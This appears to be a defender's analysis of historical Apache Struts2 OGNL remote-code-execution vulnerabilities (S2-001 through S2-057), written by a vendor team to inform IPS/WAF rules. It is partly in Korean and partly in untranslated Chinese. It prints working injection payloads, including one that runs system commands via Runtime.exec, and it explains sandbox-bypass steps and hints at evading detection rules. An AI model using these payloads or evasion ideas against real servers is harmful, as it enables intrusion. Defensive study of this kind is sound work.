Struts2 취약점은 전형적인 일련의 취약점입니다. 근본 원인은 Struts2가 프레임워크를 유연하고 동적으로 만들기 위해 OGNL 표현식을 도입했다는 것입니다. 전반적인 프레임워크의 패치가 개선됨에 따라 이제 새로운 Struts2 취약점을 이전보다 발견하는 것이 훨씬 더 어려워질 것입니다. 실제 상황으로 판단하면 대부분의 사용자는 이미 고위험 취약점을 복구했습니다. 현재 침투 테스트를 할 때 Struts2 취약점은 주로 우연에 맡겨지거나 인트라넷에 노출된 후 패치되지 않은 시스템을 공격하는 것이 더 효과적입니다.
온라인 분석 기사는 주로 공격 및 악용의 관점에서 이러한 Struts2 취약점을 분석합니다. 새로운 H3C 공격 및 방어 팀으로서 우리 임무의 일부는 ips 제품의 규칙 기반을 유지하는 것입니다. 오늘 우리는 이 일련의 취약점을 검토하고 누락이나 오류가 있는 경우 방어자에 대한 몇 가지 아이디어를 공유하겠습니다. 수정해 주셔서 감사합니다.
Struts2의 역사적 취약점을 연구하고 부분적으로 이전 IP 및 WAF 보호 규칙을 검토하세요. 규칙을 개발할 때 다음과 같은 몇 가지 원칙이 있다고 생각합니다.
2. 취약점 또는 공격 도구에 대한 탐지 규칙을 정의할 때. , 거짓 긍정과 거짓 부정에 대해 생각해 보세요.일반적으로 공격자는 공격하기 전에 주로 .action 또는 .do로 끝나는 링크가 있는지 확인하기 위해 웹 사이트가 Struts2로 작성되었는지 확인합니다. .xml은 액션의 접미사를 지정합니다.보안 장치가 IP 주소를 자동으로 차단하지 않으면 보호 규칙이 천천히 시도될 수 있습니다. 규칙이 공개 POC 규칙만 고려하고 너무 엄격하게 작성되면 우회될 수 있으므로 이 검토를 수행합니다. 먼저 Struts2의 역사적 취약점 원칙을 살펴보겠습니다.
2.1 웹 사이트가 Struts2 프레임워크를 사용하는지 확인
<constant></constant>
구성 파일의 상수 확장 값이 쉼표로 끝나거나 null 값을 갖는 경우 접미사가 없는 작업이 있을 수 있음을 나타내며 접미사가 없는 uri도 빌드될 수 있습니다. struts2 프레임워크를 통해
기본 struts-plugin에 의해 지정된 요청 접미사인 Struts2의 나머지 플러그인을 사용하는 경우 프레임워크는 JsonLibHandler 클래스를 사용하여 출력을 처리합니다.
xhtml 및 xml로 끝나는 요청은 각각 HtmlHandler 및 XStreamHandler를 사용하여 처리됩니다. 따라서 테스트할 때 웹 사이트가 struts2 프레임워크를 사용하는지 여부를 명확하게 확인할 수 없는 경우(특히 후자의 두 가지 상황에서) 도구를 사용하여 행운을 시험해 볼 수 있습니다.
<constant></constant>
Breakpoint 차단 상황
에 따른 정보를 확인하세요. stack
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
getValue:321, OgnlUtil (com.opensymphony.xwork2.ognl)getValue:363, OgnlValueStack (com.opensymphony.xwork2.ognl).......evaluate:49, OgnlTextParser (com.opensymphony.xwork2.util)translateVariables:171, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:130, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:52, TextParseUtil (com.opensymphony.xwork2.util)......buildErrorMessage:123, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)parse:105, JakartaMultiPartRequest (org.apache.struts2.dispatcher.multipart)<init>:84, MultiPartRequestWrapper (org.apache.struts2.dispatcher.multipart)wrapRequest:841, Dispatcher (org.apache.struts2.dispatcher)</init>
if (content_type != null && content_type.contains("multipart/form-data")) { MultiPartRequest mpr = getMultiPartRequest(); LocaleProvider provider = getContainer().getInstance(LocaleProvider.class); request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup); } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
往前看,比较好用的漏洞中比较有代表性的有S2-001(S2-003,005,008年代比较久远,后来出现了比较好用的新漏洞,所以这些漏洞用的人很少,对应Struts2的版本也很低),001是Struts2框架最刚开始出现的第一个漏洞,跟045的执行过程也比较接近,都是经由TextParseUtil. translateVariables执行OGNL表达式,TextParseUtil是文本处理的功能类。不同的是S2-001是在把jsp生成java类的时候,会对表单提交的参数调用evaluateParams从而调用文本处理类的OGNL求值功能。调用堆栈如下:
translateVariables:72, TextParseUtil (com.opensymphony.xwork2.util)findValue:303, Component (org.apache.struts2.components)evaluateParams:680, UIBean (org.apache.struts2.components)end:450, UIBean (org.apache.struts2.components)doEndTag:36, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f0:17, quiz_002dbasic_jsp (org.apache.jsp.validation)…………….Payload: %25%7B%23req%3D%40org.apache.struts2.ServletActionContext%40getRequest()%2C%23response%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23response.println(%23req.getRealPath('%2F'))%2C%23response.flush()%2C%23response.close()%7D
提交就能触发漏洞
2.2.3 S2-016
接着是S2-016,以及S2-032,S2-033,S2-037,这几个漏洞比较接近,其中S2-016是比较好用的,由于年代太过久远了,现在已经几乎不可能利用成功,但是这个漏洞由于太经典,还是值得看看。
获取路径的Payload是:
redirect:$%7B%23a%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletRequest'),%23b%3d%23a.getRealPath(%22/%22),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23b),%23matt.getWriter().flush(),%23matt.getWriter().close()%7D
直接在uri后面跟redirect标签
调用栈:
getValue:255, OgnlUtil (com.opensymphony.xwork2.ognl).......translateVariables:170, TextParseUtil (com.opensymphony.xwork2.util).......execute:161, ServletRedirectResult (org.apache.struts2.dispatcher)serviceAction:561, Dispatcher (org.apache.struts2.dispatcher)executeAction:77, ExecuteOperations (org.apache.struts2.dispatcher.ng)doFilter:93, StrutsExecuteFilter (org.apache.struts2.dispatcher.ng.filter)internalDoFilter:235, ApplicationFilterChain (org.apache.catalina.core)
代码注释意为, 在Struts2框架下如果mapping能直接获得结果,就调用结果对象的execute函数。
Uri标签中的redirect,对应的是ServletRedirectResult这个结果,构造函数如下,是DefaultActionMapper构造的时候顺带构造好的,
public DefaultActionMapper() { prefixTrie = new PrefixTrie() { { put(METHOD_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { if (allowDynamicMethodCalls) { mapping.setMethod(key.substring( METHOD_PREFIX.length())); } } }); put(ACTION_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { String name = key.substring(ACTION_PREFIX.length()); if (allowDynamicMethodCalls) { int bang = name.indexOf('!'); if (bang != -1) { String method = name.substring(bang + 1); mapping.setMethod(method); name = name.substring(0, bang); } } mapping.setName(name); } });
而这个ServletRedirectResult结果在解析Uri的时候,就会被设置到mapping对象中,调用栈如下:
execute:214, DefaultActionMapper$2$3 (org.apache.struts2.dispatcher.mapper)handleSpecialParameters:361, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)getMapping:317, DefaultActionMapper (org.apache.struts2.dispatcher.mapper)findActionMapping:161, PrepareOperations (org.apache.struts2.dispatcher.ng)findActionMapping:147, PrepareOperations (org.apache.struts2.dispatcher.ng)doFilter:89, StrutsPrepareFilter (org.apache.struts2.dispatcher.ng.filter)
后续ServletRedirectResult的execute函数执行后,经由conditionalParse调用文本处理类TextParseUtil的translateVariables函数进入Ognl的流程,代码得到执行。
2.2.4 S2-032,S2-033,S2-037
S2-032是框架本身漏洞,不过利用有个前提条件,需要开启动态方法执行的配置
<constant></constant>
S2-033和S2-037则是rest插件漏洞,一般来说插件漏洞利用还是比较困难的,因为开发网站的时候不一定会用到这个插件。S2-032的payload如下:
http://localhost:8080/s2032/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=ipconfig
跟S2-016一样,也是uri中带特殊标签,其漏洞点也在DefaultActionMapper类的构造函数, struts.mxl文件中配置了DynamicMethodInvocation后,构造mapping的时候会满足if语句,设置method属性为冒号后的OGNL表达式
public DefaultActionMapper() { prefixTrie = new PrefixTrie() { { put(METHOD_PREFIX, new ParameterAction() { public void execute(String key, ActionMapping mapping) { if (allowDynamicMethodCalls) { mapping.setMethod(key.substring(METHOD_PREFIX.length())); } } });
在调用完Struts2默认的拦截器后,进入DefaultActionInvocation的调用函数invokeAction,后者直接调用Ognl表达式的执行。
S2-032和S2-037也是通过这个步骤得到执行的,不同的是这两漏洞是基于rest插件的。rest插件使得struts2框架的请求具备restful风格,参数直接放在uri里面提交,而非问号后面的字符串。如下为正常的请求:
漏洞利用payload为:
http://localhost:8080/s2033/orders/3/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23wr%3d%23context[%23parameters.obj[0]].getWriter(),%23wr.print(%23parameters.content[0]),%23wr.close(),xx.toString.json?&obj=com.opensymphony.xwork2.dispatcher.HttpServletResponse&content=vulnerable
payload将正常的edit方法替换成了ognl代码。rest插件使用的是RestActionMapper来解析uri,生成mapping,在其getMapping函数内,解析uri设置了method变量,
int lastSlashPos = fullName.lastIndexOf(47); String id = null; if (lastSlashPos > -1) { int prevSlashPos = fullName.lastIndexOf(47, lastSlashPos - 1); if (prevSlashPos > -1) { mapping.setMethod(fullName.substring(lastSlashPos + 1)); fullName = fullName.substring(0, lastSlashPos); lastSlashPos = prevSlashPos; }
而后跟032一样,也是通过ognl表达式来调用这个方法的时候,执行了恶意的命令
S2-037跟S2-032漏洞点一致,是对补丁的绕过,应该是Struts2.3.28.1没有修复好。
这两个漏洞是16年的,也需要非常好的运气才能利用,毕竟依赖rest插件且年代久远。
2.2.5 S2-052
这个漏洞跟传统的Struts2漏洞不同的是,并不是利用ognl表达式执行的代码,而是使用unmarshal漏洞执行代码。缺点就是也要用到rest插件,并且对jdk版本有要求,要大于等于1.8,使用JDK 1.7测试报错如下
使用JDK 1.8测试能正常执行命令。
由于使用的不是ongl表达式执行的漏洞,防护思路也跟Struts2的常规防护有区别,后续可以跟weblogic系列漏洞合并分析。
2.2.6 S2-057
S2-057的代码执行有2个条件:
1、需要开启alwaysSelectFullNamespace配置为true,一般提取请求中uri的时候,会对比配置文件中的namespace,匹配上了选取最长的一段作为此次请求的namespace。但是如果这个参数设置为true,就不做对比,直接提取action前面的所有字符串作为namespace。
protected void parseNameAndNamespace(String uri, ActionMapping mapping, ConfigurationManager configManager) { int lastSlash = uri.lastIndexOf(47); String namespace; String name; if (lastSlash == -1) { namespace = ""; name = uri; } else if (lastSlash == 0) { namespace = "/"; name = uri.substring(lastSlash + 1); } else if (this.alwaysSelectFullNamespace) { namespace = uri.substring(0, lastSlash); name = uri.substring(lastSlash + 1);} else {
例如payload使用
GET /s2057/${(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.setExcludedClasses('java.lang.Shutdown')).(#ou.setExcludedPackageNames('sun.reflect.')).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct.setMemberAccess(#dm)).(#cmd=@java.lang.Runtime@getRuntime().exec('calc'))}/actionChain1
标红的整体ognl攻击表达式会被提取成为namespace。
2、使用了服务器跳转的结果,这里的要求是配置了actionChaining类型的action,在配置action结果的时候,使用redirectAction(ServletActionRedirectResult类),chain(ActionChainResult类),postback(PostbackResult类)作为结果类型。
<package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name="actionName">register2 </result> </action> <action name="actionChain2" class="org.apache.struts2.showcase.actionchaining.ActionChain2"> <result type="chain">xxx</result> </action> <action name="actionChain3" class="org.apache.struts2.showcase.actionchaining.ActionChain3"> <result type="postback"> <param name="actionName">register2 </result> </action> </package>
这样在处理result结果的时候,会把namespace送到ognl引擎执行。例如redirectAction(ServletActionRedirectResult类)的情况,分发器disptacher会根据action的结果,把流程传给ServletActionRedirectResult的execute函数,后者通过setLocation设置302跳转的目的地址到自己的location变量(包含了ognl恶意代码的namespace),
public void execute(ActionInvocation invocation) throws Exception { this.actionName = this.conditionalParse(this.actionName, invocation); if (this.namespace == null) { this.namespace = invocation.getProxy().getNamespace(); } else { this.namespace = this.conditionalParse(this.namespace, invocation); } if (this.method == null) { this.method = ""; } else { this.method = this.conditionalParse(this.method, invocation); } String tmpLocation = this.actionMapper.getUriFromActionMapping(new ActionMapping(this.actionName, this.namespace, this.method, (Map)null)); this.setLocation(tmpLocation); super.execute(invocation); }
然后调用父类ServletRedirectResult的execute函数 ----> 调用父类StrutsResultSupport的execute函数
public void execute(ActionInvocation invocation) throws Exception { this.lastFinalLocation = this.conditionalParse(this.location, invocation); this.doExecute(this.lastFinalLocation, invocation); } protected String conditionalParse(String param, ActionInvocation invocation) { return this.parse && param != null && invocation != null ? TextParseUtil.translateVariables(param, invocation.getStack(), new StrutsResultSupport.EncodingParsedValueEvaluator()) : param; }
其中conditionalParse是条件调用TextParseUtil.translateVariables进行ognl的执行流程,这个条件是满足的,参数就是之前设置的location变量,因此代码得到执行。
Struts2的每一轮新的漏洞,既包含了新的Ognl代码执行的点,也包含Struts2的沙盒加强防护的绕过,而每一轮补丁除了修复Ognl的执行点,也再次强化沙盒,补丁主要都是通过struts-default.xml限制了ognl使用到的类和包,以及修改各种bean函数的访问控制符。最新版本Struts2.5.20的Struts-default.xml,限制java.lang.Class, java.lang.ClassLoader,java.lang.ProcessBuilder这几个类访问,导致漏洞利用时无法使用构造函数、进程创建函数、类加载器等方式执行代码,限制com.opensymphony.xwork2.ognl这个包的访问,导致漏洞利用时无法访问和修改_member_access,context等变量。
<constant name="struts.excludedClasses" value=" java.lang.Object, java.lang.Runtime, java.lang.System, java.lang.Class, java.lang.ClassLoader, java.lang.Shutdown, java.lang.ProcessBuilder, com.opensymphony.xwork2.ActionContext"></constant> <!-- this must be valid regex, each '.' in package name must be escaped! --> <!-- it's more flexible but slower than simple string comparison --> <!-- constant name="struts.excludedPackageNamePatterns" value="^java\.lang\..*,^ognl.*,^(?!javax\.servlet\..+)(javax\..+)" / --> <!-- this is simpler version of the above used with string comparison --> <constant name="struts.excludedPackageNames" value=" ognl., javax., freemarker.core., freemarker.template., freemarker.ext.rhino., sun.reflect., javassist., org.objectweb.asm., com.opensymphony.xwork2.ognl., com.opensymphony.xwork2.security., com.opensymphony.xwork2.util."></constant>
调试时,可以对SecurityMemberAccess的isAccessible函数下断点观察ognl的沙盒防护情况。
public boolean isAccessible(Map context, Object target, Member member, String propertyName) { LOG.debug("Checking access for [target: {}, member: {}, property: {}]", target, member, propertyName); if (this.checkEnumAccess(target, member)) { LOG.trace("Allowing access to enum: {}", target); return true; } else { Class targetClass = target.getClass(); Class memberClass = member.getDeclaringClass(); if (Modifier.isStatic(member.getModifiers()) && this.allowStaticMethodAccess) { LOG.debug("Support for accessing static methods [target: {}, member: {}, property: {}] is deprecated!", target, member, propertyName); if (!this.isClassExcluded(member.getDeclaringClass())) { targetClass = member.getDeclaringClass(); } }
一般的ips、waf规则,可以从两个方向进行检测,一个是检测漏洞发生点,另外一个是检测利用的攻击代码。Struts2有一些老的漏洞,很多是url中或者post表单中提交ognl代码,从漏洞点来看并不是太好做检测,所以一般的检测规则还是检查ognl代码,配合漏洞发生点。结合payload来看,ognl代码的构成,技术性最强的ognl代码是045和057的两个payload,还是从045的payload来看
content-type: %{(#fuck='multipart/form-data') .(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).(#outstr=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#outstr.println(#req.getRealPath("/"))).(#outstr.close()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}
OgnlContext的_memberAccess变量进行了访问控制限制,决定了哪些类,哪些包,哪些方法可以被ognl表达式所使用。045之前的补丁禁止了_memberAccess的访问:
#container=#context['com.opensymphony.xwork2.ActionContext.container'])
payload通过ActionContext对象得到Container:
#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class
然后用Container的getInstance方法获取到ognlUtil实例:
#ognlUtil.getExcludedPackageNames().clear()#ognlUtil.getExcludedClasses().clear()
通过ognlUtil的公开方法清空禁止访问的类和包,后面则是常规的输出流获取和函数调用。这个ognl的payload比较典型,可以检测的点也比较多。
一般来说,ips或者waf的Struts2规则可以检测沙盒绕过使用的对象和方法,如 _memberaccess,getExcludedPackageNames,getExcludedClasses,DEFAULT_MEMBER_ACCESS都是很好的检测点,防护规则也可以检测函数调用ServletActionContext@getResponse(获取应答对象),java.lang.ProcessBuilder(进程构建,执行命令),java.lang.Runtime(运行时类建,执行命令),java.io.FileOutputStream(文件输出流,写shell),getParameter(获取参数),org.apache.commons.io.IOUtils(IO函数)。不太好的检测点包括com.opensymphony.xwork2.ActionContext.container这种字典的key或者包的全名,毕竟字符串是可以拼接和变形的,这种规则很容易绕过。其他时候规则提取的字符串尽量短一些,避免变形绕过。
테스트 결과 일부 waf 제품 규칙은 DEFAULT_MEMBER_ACCESS 및 _memberaccess 두 문자열 중 하나만 감지하는 것으로 나타났습니다. 매우 조잡해 보이고 오탐의 위험이 있지만 유연성으로 인해 감지 효과가 여전히 좋습니다. .Escape하지만 S2-016 이후의 취약점은 샌드박스를 우회하여 이 두 개체 및 관련 함수 호출을 피하기가 어렵습니다. 우회의 경우 ognl.jjt 파일을 참조할 수 있습니다. 이 파일은 ognl 표현의 어휘 및 문법 구조를 정의합니다. ognl의 관련 구문 분석 코드도 이 파일을 기반으로 생성되므로 일반 우회도 이 파일을 기반으로 시작할 수 있습니다. .
위 내용은 보호 관점에서 Struts2 기록 취약점을 보는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!